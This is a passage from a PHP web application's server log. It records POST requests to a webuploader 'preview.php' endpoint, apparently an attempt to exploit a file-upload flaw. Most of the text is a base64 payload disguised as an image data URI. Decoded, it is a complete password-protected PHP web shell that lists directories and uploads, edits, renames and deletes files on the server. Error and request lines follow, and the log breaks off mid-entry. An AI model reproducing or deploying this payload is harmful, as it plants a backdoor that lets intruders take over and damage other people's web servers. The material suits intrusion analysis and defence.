'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'default' => 'Public', 'Hui' => 'lib', 'webuploader' => '0.1.5', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:01+08:00 ] 116.213.36.234 POST www.51tianwei.com/hekenews/public/static/hui/lib%20/webuploader/0.1.5/server/server/preview.php [运行时间:0.002618s] [吞吐率:381.99req/s] [内存消耗:196.96kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'hekenews', 2 => 'public', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 